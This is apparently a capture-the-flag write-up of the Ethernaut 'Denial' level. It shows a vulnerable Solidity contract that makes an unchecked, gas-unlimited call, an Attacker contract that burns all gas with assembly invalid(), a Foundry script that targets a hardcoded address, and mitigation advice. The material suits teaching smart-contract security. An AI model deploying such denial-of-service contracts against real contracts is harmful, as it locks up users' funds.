Denial
Denial
Vulnerable Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
**partner.call{value:amountToSend}("");**
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
Attacker
This assembly
/ invalid()
uses all the gas in the Denial.sol
contract, so after all the gas is used it reverts and can’t be used anymore.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
fallback() external payable {
//revert(); Doesn't revert the transaction, because the call is not checked
assembly {
invalid()
}
}
}
AttackerScript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Denial} from "../src/Denial.sol";
import {Attacker} from "../src/Attacker.sol";
import {Script} from "forge-std/Script.sol";
interface IDenial {
function setWithdrawPartner(address _partner) external;
function withdraw() external;
}
contract AttackScript is Script {
IDenial target;
function run() public {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
target = IDenial(0xF9a8308D4D1E2cDd101A209681A4a0F778DC2b91);
Attacker attacker = new Attacker();
target.setWithdrawPartner(address(attacker));
target.withdraw();
}
}
This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.
If you are using a low level call
to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value()
.
Typically one should follow the checks-effects-interactions pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.
Note: An external CALL
can use at most 63/64 of the gas currently available
at the time of the CALL
. Thus, depending on how much gas
is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in
the parent call) can be used to mitigate this particular attack.